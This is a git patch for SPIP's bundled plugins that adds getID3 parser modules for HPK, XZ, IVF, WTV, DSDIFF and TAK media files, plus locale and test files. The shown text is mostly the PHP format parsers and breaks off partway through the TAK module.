From 5370ba8d7c3dca6d40734ed49199b433febdbaef Mon Sep 17 00:00:00 2001 From: Ludovic CHEVALIER Date: Tue, 21 Dec 2021 15:48:27 +0100 Subject: [PATCH 1/1] [PLUGINS] ~maj plugins-dist --- .../medias/inc/determiner_statut_document.php | 83 ++ .../medias/lib/getid3/module.archive.hpk.php | 92 ++ .../medias/lib/getid3/module.archive.xz.php | 45 + .../lib/getid3/module.audio-video.ivf.php | 80 ++ .../lib/getid3/module.audio-video.wtv.php | 37 + .../medias/lib/getid3/module.audio.dsdiff.php | 310 +++++++ .../medias/lib/getid3/module.audio.tak.php | 214 +++++ .../organiseur/lib/fullcalendar/locale/be.js | 1 + .../lib/fullcalendar/locale/zh-hk.js | 1 + www/plugins-dist/safehtml/tests/safehtml.php | 853 ++++++++++++++++++ 10 files changed, 1716 insertions(+) create mode 100755 www/plugins-dist/medias/inc/determiner_statut_document.php create mode 100755 www/plugins-dist/medias/lib/getid3/module.archive.hpk.php create mode 100755 www/plugins-dist/medias/lib/getid3/module.archive.xz.php create mode 100755 www/plugins-dist/medias/lib/getid3/module.audio-video.ivf.php create mode 100755 www/plugins-dist/medias/lib/getid3/module.audio-video.wtv.php create mode 100755 www/plugins-dist/medias/lib/getid3/module.audio.dsdiff.php create mode 100755 www/plugins-dist/medias/lib/getid3/module.audio.tak.php create mode 100755 www/plugins-dist/organiseur/lib/fullcalendar/locale/be.js create mode 100755 www/plugins-dist/organiseur/lib/fullcalendar/locale/zh-hk.js create mode 100755 www/plugins-dist/safehtml/tests/safehtml.php diff --git a/www/plugins-dist/medias/inc/determiner_statut_document.php b/www/plugins-dist/medias/inc/determiner_statut_document.php new file mode 100755 index 00000000..35aac533 --- /dev/null +++ b/www/plugins-dist/medias/inc/determiner_statut_document.php @@ -0,0 +1,83 @@ + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.archive.hpk.php // +// module for analyzing HPK files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_hpk extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $info['fileformat'] = 'hpk'; + + $this->fseek($info['avdataoffset']); + $HPKheader = $this->fread(36); + + if (substr($HPKheader, 0, 4) == 'BPUL') { + + $info['hpk']['header']['signature'] = substr($HPKheader, 0, 4); + $info['hpk']['header']['data_offset'] = getid3_lib::LittleEndian2Int(substr($HPKheader, 4, 4)); + $info['hpk']['header']['fragments_per_file'] = getid3_lib::LittleEndian2Int(substr($HPKheader, 8, 4)); + //$info['hpk']['header']['unknown1'] = getid3_lib::LittleEndian2Int(substr($HPKheader, 12, 4)); + $info['hpk']['header']['fragments_residual_offset'] = getid3_lib::LittleEndian2Int(substr($HPKheader, 16, 4)); + $info['hpk']['header']['fragments_residual_count'] = getid3_lib::LittleEndian2Int(substr($HPKheader, 20, 4)); + //$info['hpk']['header']['unknown2'] = getid3_lib::LittleEndian2Int(substr($HPKheader, 24, 4)); + $info['hpk']['header']['fragmented_filesystem_offset'] = getid3_lib::LittleEndian2Int(substr($HPKheader, 28, 4)); + $info['hpk']['header']['fragmented_filesystem_length'] = getid3_lib::LittleEndian2Int(substr($HPKheader, 32, 4)); + + $info['hpk']['header']['filesystem_entries'] = $info['hpk']['header']['fragmented_filesystem_length'] / ($info['hpk']['header']['fragments_per_file'] * 8); + $this->fseek($info['hpk']['header']['fragmented_filesystem_offset']); + for ($i = 0; $i < $info['hpk']['header']['filesystem_entries']; $i++) { + $offset = getid3_lib::LittleEndian2Int($this->fread(4)); + $length = getid3_lib::LittleEndian2Int($this->fread(4)); + $info['hpk']['filesystem'][$i] = array('offset' => $offset, 'length' => $length); + } + +$this->error('HPK parsing incomplete (and mostly broken) in this version of getID3() ['.$this->getid3->version().']'); + +/* + $filename = ''; + $dirs = array(); + foreach ($info['hpk']['filesystem'] as $key => $filesystemdata) { + $this->fseek($filesystemdata['offset']); + $first4 = $this->fread(4); + if (($first4 == 'LZ4 ') || ($first4 == 'ZLIB')) { + // actual data, ignore + $info['hpk']['toc'][$key] = array( + 'filename' => ltrim(implode('/', $dirs).'/'.$filename, '/'), + 'offset' => $filesystemdata['offset'], + 'length' => $filesystemdata['length'], + ); + $filename = ''; + $dirs = array(); + } else { + $fragment_index = getid3_lib::LittleEndian2Int($first4); + $fragment_type = getid3_lib::LittleEndian2Int($this->fread(4)); // file = 0, directory = 1 + $name_length = getid3_lib::LittleEndian2Int($this->fread(2)); + if ($fragment_type == 1) { + $dirs[] = $this->fread($name_length); + } else { + $filename = $this->fread($name_length); + } + } + } +*/ + + } else { + $this->error('Expecting "BPUL" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes(substr($HPKheader, 0, 4)).'"'); + return false; + } + + return true; + } + +} diff --git a/www/plugins-dist/medias/lib/getid3/module.archive.xz.php b/www/plugins-dist/medias/lib/getid3/module.archive.xz.php new file mode 100755 index 00000000..1557bfb5 --- /dev/null +++ b/www/plugins-dist/medias/lib/getid3/module.archive.xz.php @@ -0,0 +1,45 @@ + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.archive.xz.php // +// module for analyzing XZ files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_xz extends getid3_handler +{ + + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $this->fseek($info['avdataoffset']); + $xzheader = $this->fread(6); + + // https://tukaani.org/xz/xz-file-format-1.0.4.txt + $info['xz']['stream_header']['magic'] = substr($xzheader, 0, 6); + if ($info['xz']['stream_header']['magic'] != "\xFD".'7zXZ'."\x00") { + $this->error('Invalid XZ stream header magic (expecting FD 37 7A 58 5A 00, found '.getid3_lib::PrintHexBytes($info['xz']['stream_header']['magic']).') at offset '.$info['avdataoffset']); + return false; + } + $info['fileformat'] = 'xz'; + $this->error('XZ parsing not enabled in this version of getID3() ['.$this->getid3->version().']'); + return false; + + } + +} diff --git a/www/plugins-dist/medias/lib/getid3/module.audio-video.ivf.php b/www/plugins-dist/medias/lib/getid3/module.audio-video.ivf.php new file mode 100755 index 00000000..791b88bc --- /dev/null +++ b/www/plugins-dist/medias/lib/getid3/module.audio-video.ivf.php @@ -0,0 +1,80 @@ + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.ivf.php // +// module for analyzing IVF audio-video files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_ivf extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $info['fileformat'] = 'ivf'; + $info['video']['dataformat'] = 'ivf'; + + $this->fseek($info['avdataoffset']); + $IVFheader = $this->fread(32); + + if (substr($IVFheader, 0, 4) == 'DKIF') { + + // https://wiki.multimedia.cx/index.php/IVF + $info['ivf']['header']['signature'] = substr($IVFheader, 0, 4); + $info['ivf']['header']['version'] = getid3_lib::LittleEndian2Int(substr($IVFheader, 4, 2)); // should be 0 + $info['ivf']['header']['headersize'] = getid3_lib::LittleEndian2Int(substr($IVFheader, 6, 2)); + $info['ivf']['header']['fourcc'] = substr($IVFheader, 8, 4); + $info['ivf']['header']['resolution_x'] = getid3_lib::LittleEndian2Int(substr($IVFheader, 12, 2)); + $info['ivf']['header']['resolution_y'] = getid3_lib::LittleEndian2Int(substr($IVFheader, 14, 2)); + $info['ivf']['header']['timebase_numerator'] = getid3_lib::LittleEndian2Int(substr($IVFheader, 16, 4)); + $info['ivf']['header']['timebase_denominator'] = getid3_lib::LittleEndian2Int(substr($IVFheader, 20, 4)); + $info['ivf']['header']['frame_count'] = getid3_lib::LittleEndian2Int(substr($IVFheader, 24, 4)); + //$info['ivf']['header']['reserved'] = substr($IVFheader, 28, 4); + + $info['ivf']['header']['frame_rate'] = (float) $info['ivf']['header']['timebase_numerator'] / $info['ivf']['header']['timebase_denominator']; + + if ($info['ivf']['header']['version'] > 0) { + $this->warning('Expecting IVF header version 0, found version '.$info['ivf']['header']['version'].', results may not be accurate'); + } + + $info['video']['resolution_x'] = $info['ivf']['header']['resolution_x']; + $info['video']['resolution_y'] = $info['ivf']['header']['resolution_y']; + $info['video']['codec'] = $info['ivf']['header']['fourcc']; + + $info['ivf']['frame_count'] = 0; + while (!$this->feof()) { + if ($frameheader = $this->fread(12)) { + $framesize = getid3_lib::LittleEndian2Int(substr($frameheader, 0, 4)); // size of frame in bytes (not including the 12-byte header) + $timestamp = getid3_lib::LittleEndian2Int(substr($frameheader, 4, 8)); // 64-bit presentation timestamp + $this->fseek($framesize, SEEK_CUR); + $info['ivf']['frame_count']++; + } + } + if ($info['ivf']['frame_count']) { + $info['playtime_seconds'] = $timestamp / 100000; + $info['video']['frame_rate'] = (float) $info['ivf']['frame_count'] / $info['playtime_seconds']; + } + + } else { + $this->error('Expecting "DKIF" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes(substr($IVFheader, 0, 4)).'"'); + return false; + } + + return true; + } + +} diff --git a/www/plugins-dist/medias/lib/getid3/module.audio-video.wtv.php b/www/plugins-dist/medias/lib/getid3/module.audio-video.wtv.php new file mode 100755 index 00000000..ed37abe3 --- /dev/null +++ b/www/plugins-dist/medias/lib/getid3/module.audio-video.wtv.php @@ -0,0 +1,37 @@ + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.wtv.php // +// module for analyzing WTV (Windows Recorded TV Show) // +// audio-video files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_wtv extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $info['fileformat'] = 'wtv'; + $info['video']['dataformat'] = 'wtv'; + + $this->error('WTV (Windows Recorded TV Show) files not properly processed by this version of getID3() ['.$this->getid3->version().']'); + + return true; + } + +} diff --git a/www/plugins-dist/medias/lib/getid3/module.audio.dsdiff.php b/www/plugins-dist/medias/lib/getid3/module.audio.dsdiff.php new file mode 100755 index 00000000..bed2afca --- /dev/null +++ b/www/plugins-dist/medias/lib/getid3/module.audio.dsdiff.php @@ -0,0 +1,310 @@ + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.dsdiff.php // +// module for analyzing Direct Stream Digital Interchange // +// File Format (DSDIFF) files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_dsdiff extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $this->fseek($info['avdataoffset']); + $DSDIFFheader = $this->fread(4); + + // https://dsd-guide.com/sites/default/files/white-papers/DSDIFF_1.5_Spec.pdf + if (substr($DSDIFFheader, 0, 4) != 'FRM8') { + $this->error('Expecting "FRM8" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes(substr($DSDIFFheader, 0, 4)).'"'); + return false; + } + unset($DSDIFFheader); + $this->fseek($info['avdataoffset']); + + $info['encoding'] = 'ISO-8859-1'; // not certain, but assumed + $info['fileformat'] = 'dsdiff'; + $info['mime_type'] = 'audio/dsd'; + $info['audio']['dataformat'] = 'dsdiff'; + $info['audio']['bitrate_mode'] = 'cbr'; + $info['audio']['bits_per_sample'] = 1; + + $info['dsdiff'] = array(); + while (!$this->feof() && ($ChunkHeader = $this->fread(12))) { + if (strlen($ChunkHeader) < 12) { + $this->error('Expecting chunk header at offset '.$thisChunk['offset'].', found insufficient data in file, aborting parsing'); + break; + } + $thisChunk = array(); + $thisChunk['offset'] = $this->ftell() - 12; + $thisChunk['name'] = substr($ChunkHeader, 0, 4); + if (!preg_match('#^[\\x21-\\x7E]+ *$#', $thisChunk['name'])) { + // "a concatenation of four printable ASCII characters in the range ' ' (space, 0x20) through '~'(0x7E). Space (0x20) cannot precede printing characters; trailing spaces are allowed." + $this->error('Invalid chunk name "'.$thisChunk['name'].'" ('.getid3_lib::PrintHexBytes($thisChunk['name']).') at offset '.$thisChunk['offset'].', aborting parsing'); + } + $thisChunk['size'] = getid3_lib::BigEndian2Int(substr($ChunkHeader, 4, 8)); + $datasize = $thisChunk['size'] + ($thisChunk['size'] % 2); // "If the data is an odd number of bytes in length, a pad byte must be added at the end. The pad byte is not included in ckDataSize." + + switch ($thisChunk['name']) { + case 'FRM8': + $thisChunk['form_type'] = $this->fread(4); + if ($thisChunk['form_type'] != 'DSD ') { + $this->error('Expecting "DSD " at offset '.($this->ftell() - 4).', found "'.getid3_lib::PrintHexBytes($thisChunk['form_type']).'", aborting parsing'); + break 2; + } + // do nothing further, prevent skipping subchunks + break; + case 'PROP': // PROPerty chunk + $thisChunk['prop_type'] = $this->fread(4); + if ($thisChunk['prop_type'] != 'SND ') { + $this->error('Expecting "SND " at offset '.($this->ftell() - 4).', found "'.getid3_lib::PrintHexBytes($thisChunk['prop_type']).'", aborting parsing'); + break 2; + } + // do nothing further, prevent skipping subchunks + break; + case 'DIIN': // eDIted master INformation chunk + // do nothing, just prevent skipping subchunks + break; + + case 'FVER': // Format VERsion chunk + if ($thisChunk['size'] == 4) { + $FVER = $this->fread(4); + $info['dsdiff']['format_version'] = ord($FVER[0]).'.'.ord($FVER[1]).'.'.ord($FVER[2]).'.'.ord($FVER[3]); + unset($FVER); + } else { + $this->warning('Expecting "FVER" chunk to be 4 bytes, found '.$thisChunk['size'].' bytes, skipping chunk'); + $this->fseek($datasize, SEEK_CUR); + } + break; + case 'FS ': // sample rate chunk + if ($thisChunk['size'] == 4) { + $info['dsdiff']['sample_rate'] = getid3_lib::BigEndian2Int($this->fread(4)); + $info['audio']['sample_rate'] = $info['dsdiff']['sample_rate']; + } else { + $this->warning('Expecting "FVER" chunk to be 4 bytes, found '.$thisChunk['size'].' bytes, skipping chunk'); + $this->fseek($datasize, SEEK_CUR); + } + break; + case 'CHNL': // CHaNneLs chunk + $thisChunk['num_channels'] = getid3_lib::BigEndian2Int($this->fread(2)); + if ($thisChunk['num_channels'] == 0) { + $this->warning('channel count should be greater than zero, skipping chunk'); + $this->fseek($datasize - 2, SEEK_CUR); + } + for ($i = 0; $i < $thisChunk['num_channels']; $i++) { + $thisChunk['channels'][$i] = $this->fread(4); + } + $info['audio']['channels'] = $thisChunk['num_channels']; + break; + case 'CMPR': // CoMPRession type chunk + $thisChunk['compression_type'] = $this->fread(4); + $info['audio']['dataformat'] = trim($thisChunk['compression_type']); + $humanReadableByteLength = getid3_lib::BigEndian2Int($this->fread(1)); + $thisChunk['compression_name'] = $this->fread($humanReadableByteLength); + if (($humanReadableByteLength % 2) == 0) { + // need to seek to multiple of 2 bytes, human-readable string length is only one byte long so if the string is an even number of bytes we need to seek past a padding byte after the string + $this->fseek(1, SEEK_CUR); + } + unset($humanReadableByteLength); + break; + case 'ABSS': // ABSolute Start time chunk + $ABSS = $this->fread(8); + $info['dsdiff']['absolute_start_time']['hours'] = getid3_lib::BigEndian2Int(substr($ABSS, 0, 2)); + $info['dsdiff']['absolute_start_time']['minutes'] = getid3_lib::BigEndian2Int(substr($ABSS, 2, 1)); + $info['dsdiff']['absolute_start_time']['seconds'] = getid3_lib::BigEndian2Int(substr($ABSS, 3, 1)); + $info['dsdiff']['absolute_start_time']['samples'] = getid3_lib::BigEndian2Int(substr($ABSS, 4, 4)); + unset($ABSS); + break; + case 'LSCO': // LoudSpeaker COnfiguration chunk + // 0 = 2-channel stereo set-up + // 3 = 5-channel set-up according to ITU-R BS.775-1 [ITU] + // 4 = 6-channel set-up, 5-channel set-up according to ITU-R BS.775-1 [ITU], plus additional Low Frequency Enhancement (LFE) loudspeaker. Also known as "5.1 configuration" + // 65535 = Undefined channel set-up + $thisChunk['loundspeaker_config_id'] = getid3_lib::BigEndian2Int($this->fread(2)); + break; + case 'COMT': // COMmenTs chunk + $thisChunk['num_comments'] = getid3_lib::BigEndian2Int($this->fread(2)); + for ($i = 0; $i < $thisChunk['num_comments']; $i++) { + $thisComment = array(); + $COMT = $this->fread(14); + $thisComment['creation_year'] = getid3_lib::BigEndian2Int(substr($COMT, 0, 2)); + $thisComment['creation_month'] = getid3_lib::BigEndian2Int(substr($COMT, 2, 1)); + $thisComment['creation_day'] = getid3_lib::BigEndian2Int(substr($COMT, 3, 1)); + $thisComment['creation_hour'] = getid3_lib::BigEndian2Int(substr($COMT, 4, 1)); + $thisComment['creation_minute'] = getid3_lib::BigEndian2Int(substr($COMT, 5, 1)); + $thisComment['comment_type_id'] = getid3_lib::BigEndian2Int(substr($COMT, 6, 2)); + $thisComment['comment_ref_id'] = getid3_lib::BigEndian2Int(substr($COMT, 8, 2)); + $thisComment['string_length'] = getid3_lib::BigEndian2Int(substr($COMT, 10, 4)); + $thisComment['comment_text'] = $this->fread($thisComment['string_length']); + if ($thisComment['string_length'] % 2) { + // commentText[] is the description of the Comment. This text must be padded with a byte at the end, if needed, to make it an even number of bytes long. This pad byte, if present, is not included in count. + $this->fseek(1, SEEK_CUR); + } + $thisComment['comment_type'] = $this->DSDIFFcmtType($thisComment['comment_type_id']); + $thisComment['comment_reference'] = $this->DSDIFFcmtRef($thisComment['comment_type_id'], $thisComment['comment_ref_id']); + $thisComment['creation_unix'] = mktime($thisComment['creation_hour'], $thisComment['creation_minute'], 0, $thisComment['creation_month'], $thisComment['creation_day'], $thisComment['creation_year']); + $thisChunk['comments'][$i] = $thisComment; + + $commentkey = ($thisComment['comment_reference'] ?: 'comment'); + $info['dsdiff']['comments'][$commentkey][] = $thisComment['comment_text']; + unset($thisComment); + } + break; + case 'MARK': // MARKer chunk + $MARK = $this->fread(22); + $thisChunk['marker_hours'] = getid3_lib::BigEndian2Int(substr($MARK, 0, 2)); + $thisChunk['marker_minutes'] = getid3_lib::BigEndian2Int(substr($MARK, 2, 1)); + $thisChunk['marker_seconds'] = getid3_lib::BigEndian2Int(substr($MARK, 3, 1)); + $thisChunk['marker_samples'] = getid3_lib::BigEndian2Int(substr($MARK, 4, 4)); + $thisChunk['marker_offset'] = getid3_lib::BigEndian2Int(substr($MARK, 8, 4)); + $thisChunk['marker_type_id'] = getid3_lib::BigEndian2Int(substr($MARK, 12, 2)); + $thisChunk['marker_channel'] = getid3_lib::BigEndian2Int(substr($MARK, 14, 2)); + $thisChunk['marker_flagraw'] = getid3_lib::BigEndian2Int(substr($MARK, 16, 2)); + $thisChunk['string_length'] = getid3_lib::BigEndian2Int(substr($MARK, 18, 4)); + $thisChunk['description'] = ($thisChunk['string_length'] ? $this->fread($thisChunk['string_length']) : ''); + if ($thisChunk['string_length'] % 2) { + // markerText[] is the description of the marker. This text must be padded with a byte at the end, if needed, to make it an even number of bytes long. This pad byte, if present, is not included in count. + $this->fseek(1, SEEK_CUR); + } + $thisChunk['marker_type'] = $this->DSDIFFmarkType($thisChunk['marker_type_id']); + unset($MARK); + break; + case 'DIAR': // artist chunk + case 'DITI': // title chunk + $thisChunk['string_length'] = getid3_lib::BigEndian2Int($this->fread(4)); + $thisChunk['description'] = ($thisChunk['string_length'] ? $this->fread($thisChunk['string_length']) : ''); + if ($thisChunk['string_length'] % 2) { + // This text must be padded with a byte at the end, if needed, to make it an even number of bytes long. This pad byte, if present, is not included in count. + $this->fseek(1, SEEK_CUR); + } + + if ($commentkey = (($thisChunk['name'] == 'DIAR') ? 'artist' : (($thisChunk['name'] == 'DITI') ? 'title' : ''))) { + @$info['dsdiff']['comments'][$commentkey][] = $thisChunk['description']; + } + break; + case 'EMID': // Edited Master ID chunk + if ($thisChunk['size']) { + $thisChunk['identifier'] = $this->fread($thisChunk['size']); + } + break; + + case 'ID3 ': + $endOfID3v2 = $this->ftell() + $datasize; // we will need to reset the filepointer after parsing ID3v2 + + getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true); + $getid3_temp = new getID3(); + $getid3_temp->openfile($this->getid3->filename, null, $this->getid3->fp); + $getid3_id3v2 = new getid3_id3v2($getid3_temp); + $getid3_id3v2->StartingOffset = $this->ftell(); + if ($thisChunk['valid'] = $getid3_id3v2->Analyze()) { + $info['id3v2'] = $getid3_temp->info['id3v2']; + } + unset($getid3_temp, $getid3_id3v2); + + $this->fseek($endOfID3v2); + break; + + case 'DSD ': // DSD sound data chunk + case 'DST ': // DST sound data chunk + // actual audio data, we're not interested, skip + $this->fseek($datasize, SEEK_CUR); + break; + default: + $this->warning('Unhandled chunk "'.$thisChunk['name'].'"'); + $this->fseek($datasize, SEEK_CUR); + break; + } + + @$info['dsdiff']['chunks'][] = $thisChunk; + //break; + } + if (empty($info['audio']['bitrate']) && !empty($info['audio']['channels']) && !empty($info['audio']['sample_rate']) && !empty($info['audio']['bits_per_sample'])) { + $info['audio']['bitrate'] = $info['audio']['bits_per_sample'] * $info['audio']['sample_rate'] * $info['audio']['channels']; + } + + return true; + } + + /** + * @param int $cmtType + * + * @return string + */ + public static function DSDIFFcmtType($cmtType) { + static $DSDIFFcmtType = array( + 0 => 'General (album) Comment', + 1 => 'Channel Comment', + 2 => 'Sound Source', + 3 => 'File History', + ); + return (isset($DSDIFFcmtType[$cmtType]) ? $DSDIFFcmtType[$cmtType] : 'reserved'); + } + + /** + * @param int $cmtType + * @param int $cmtRef + * + * @return string + */ + public static function DSDIFFcmtRef($cmtType, $cmtRef) { + static $DSDIFFcmtRef = array( + 2 => array( // Sound Source + 0 => 'DSD recording', + 1 => 'Analogue recording', + 2 => 'PCM recording', + ), + 3 => array( // File History + 0 => 'comment', // General Remark + 1 => 'encodeby', // Name of the operator + 2 => 'encoder', // Name or type of the creating machine + 3 => 'timezone', // Time zone information + 4 => 'revision', // Revision of the file + ), + ); + switch ($cmtType) { + case 0: + // If the comment type is General Comment the comment reference must be 0 + return ''; + case 1: + // If the comment type is Channel Comment, the comment reference defines the channel number to which the comment belongs + return ($cmtRef ? 'channel '.$cmtRef : 'all channels'); + case 2: + case 3: + return (isset($DSDIFFcmtRef[$cmtType][$cmtRef]) ? $DSDIFFcmtRef[$cmtType][$cmtRef] : 'reserved'); + } + return 'unsupported $cmtType='.$cmtType; + } + + /** + * @param int $cmtType + * + * @return string + */ + public static function DSDIFFmarkType($markType) { + static $DSDIFFmarkType = array( + 0 => 'TrackStart', // Entry point for a Track start + 1 => 'TrackStop', // Entry point for ending a Track + 2 => 'ProgramStart', // Start point of 2-channel or multi-channel area + 3 => 'Obsolete', // + 4 => 'Index', // Entry point of an Index + ); + return (isset($DSDIFFmarkType[$markType]) ? $DSDIFFmarkType[$markType] : 'reserved'); + } + +} diff --git a/www/plugins-dist/medias/lib/getid3/module.audio.tak.php b/www/plugins-dist/medias/lib/getid3/module.audio.tak.php new file mode 100755 index 00000000..5d4ada56 --- /dev/null +++ b/www/plugins-dist/medias/lib/getid3/module.audio.tak.php @@ -0,0 +1,214 @@ + // +// available at http://getid3.sourceforge.net // +// or https://www.getid3.org // +// also https://github.com/JamesHeinrich/getID3 // +///////////////////////////////////////////////////////////////// +// See readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.tak.php // +// module for analyzing Tom's lossless Audio Kompressor // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_tak extends getid3_handler +{ + + public function Analyze() { + $info = &$this->getid3->info; + + $info['fileformat'] = 'tak'; + $info['audio']['dataformat'] = 'tak'; + $info['audio']['bitrate_mode'] = 'vbr'; + $info['audio']['lossless'] = true; + + $info['tak_audio']['raw'] = array(); + $thisfile_takaudio = &$info['tak_audio']; + $thisfile_takaudio_raw = &$thisfile_takaudio['raw']; + + $this->fseek($info['avdataoffset']); + $TAKMetaData = $this->fread(4); + + $thisfile_takaudio_raw['magic'] = $TAKMetaData; + $magic = 'tBaK'; + if ($thisfile_takaudio_raw['magic'] != $magic) { + $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($thisfile_takaudio_raw['magic']).'"'); + unset($info['fileformat']); + return false; + } + $offset = 4; //skip magic + $this->fseek($offset); + $TAKMetaData = $this->fread(4); //read Metadata Block Header + $objtype = getid3_lib::BigEndian2Int(substr($TAKMetaData, 0, 1)); //Metadata Block Object Type + $objlength = getid3_lib::LittleEndian2Int(substr($TAKMetaData, 1, 3)); //Metadata Block Object Lenght excluding header + if ($objtype == 1) { //The First Metadata Block Object must be of Type 1 (STREAMINFO) + $offset += 4; //skip to Metadata Block contents + $this->fseek($offset); + $TAKMetaData = $this->fread($objlength); // Get the raw Metadata Block Data + $thisfile_takaudio_raw['STREAMINFO'] = getid3_lib::LittleEndian2Bin(substr($TAKMetaData, 0, $objlength - 3)); + $offset += $objlength; // Move to the next Metadata Block Object + $thisfile_takaudio['channels'] = getid3_lib::Bin2Dec(substr($thisfile_takaudio_raw['STREAMINFO'], 1, 4)) + 1; + $thisfile_takaudio['bits_per_sample'] = getid3_lib::Bin2Dec(substr($thisfile_takaudio_raw['STREAMINFO'], 5, 5)) + 8; + $thisfile_takaudio['sample_rate'] = getid3_lib::Bin2Dec(substr($thisfile_takaudio_raw['STREAMINFO'], 10, 18)) + 6000; + $thisfile_takaudio['samples'] = getid3_lib::Bin2Dec(substr($thisfile_takaudio_raw['STREAMINFO'], 31, 35)); + $thisfile_takaudio['framesize'] = self::TAKFramesizeLookup(getid3_lib::Bin2Dec(substr($thisfile_takaudio_raw['STREAMINFO'], 66, 4))); + $thisfile_takaudio['codectype'] = self::TAKCodecTypeLookup(getid3_lib::Bin2Dec(substr($thisfile_takaudio_raw['STREAMINFO'], 74, 6))); + } else { + $this->error('Expecting Type 1 (STREAMINFO) Metadata Object header, but found Type "'.$objtype.'" Object instead'); + unset($info['fileformat']); + return false; + } + $this->fseek($offset); + $TAKMetaData = $this->fread(4); + $objtype = getid3_lib::BigEndian2Int(substr($TAKMetaData, 0, 1)); + $objlength = getid3_lib::LittleEndian2Int(substr($TAKMetaData, 1, 3)); + while ($objtype != 0) { + switch ($objtype) { + case 4 : + // ENCODERINFO Metadata Block + $offset += 4; + $this->fseek($offset); + $TAKMetaData = $this->fread($objlength); + $ver = getid3_lib::LittleEndian2Int(substr($TAKMetaData, 0, 3)); + $major = ($ver & 0xff0000) >> 16; + $minor = ($ver & 0x00ff00) >> 8; + $revision= $ver & 0x0000ff; + $thisfile_takaudio['version'] = 'TAK V '.$major.'.'.$minor.'.'.$revision; + $thisfile_takaudio['profile'] = self::TAKProfileLookup(getid3_lib::BigEndian2Int(substr($TAKMetaData, 3, 1))); + $offset += $objlength; + break; + case 6 : + // MD5 Checksum Metadata Block + $offset += 4; + $this->fseek($offset); + $TAKMetaData = $this->fread($objlength); + $thisfile_takaudio_raw['MD5Data'] = substr($TAKMetaData, 0, 16); + $offset += $objlength; + break; + case 7 : + // LASTFRAME Metadata Block + $offset += 4; + $this->fseek($offset); + $TAKMetaData = $this->fread($objlength); + $thisfile_takaudio['lastframe_pos'] = getid3_lib::LittleEndian2Int(substr($TAKMetaData, 0, 5)); + $thisfile_takaudio['last_frame_size'] = getid3_lib::LittleEndian2Int(substr($TAKMetaData, 5, 3)); + $offset += $objlength; + break; + case 3 : + // ORIGINALFILEDATA Metadata Block + $offset += 4; + $this->fseek($offset); + $TAKMetaData = $this->fread($objlength); + $headersize = getid3_lib::LittleEndian2Int(substr($TAKMetaData, 0, 3)); + $footersize = getid3_lib::LittleEndian2Int(substr($TAKMetaData, 3, 3)); + if ($headersize) $thisfile_takaudio_raw['header_data'] = substr($TAKMetaData, 6, $headersize); + if ($footersize) $thisfile_takaudio_raw['footer_data'] = substr($TAKMetaData, $headersize, $footersize); + $offset += $objlength; + break; + default : + // PADDING or SEEKTABLE Metadata Block. Just skip it + $offset += 4; + $this->fseek($offset); + $TAKMetaData = $this->fread($objlength); + $offset += $objlength; + break; + } + $this->fseek($offset); + $TAKMetaData = $this->fread(4); + $objtype = getid3_lib::BigEndian2Int(substr($TAKMetaData, 0, 1)); + $objlength = getid3_lib::LittleEndian2Int(substr($TAKMetaData, 1, 3)); + } + // Finished all Metadata Blocks. So update $info['avdataoffset'] because next block is the first Audio data block + $info['avdataoffset'] = $offset; + + $info['audio']['channels'] = $thisfile_takaudio['channels']; + if ($thisfile_takaudio['sample_rate'] == 0) { + $this->error('Corrupt TAK file: samplerate == zero'); + return false; + } + $info['audio']['sample_rate'] = $thisfile_takaudio['sample_rate']; + $thisfile_takaudio['playtime'] = $thisfile_takaudio['samples'] / $thisfile_takaudio['sample_rate']; + if ($thisfile_takaudio['playtime'] == 0) { + $this->error('Corrupt TAK file: playtime == zero'); + return false; + } + $info['playtime_seconds'] = $thisfile_takaudio['playtime']; + $thisfile_takaudio['compressed_size'] = $info['avdataend'] - 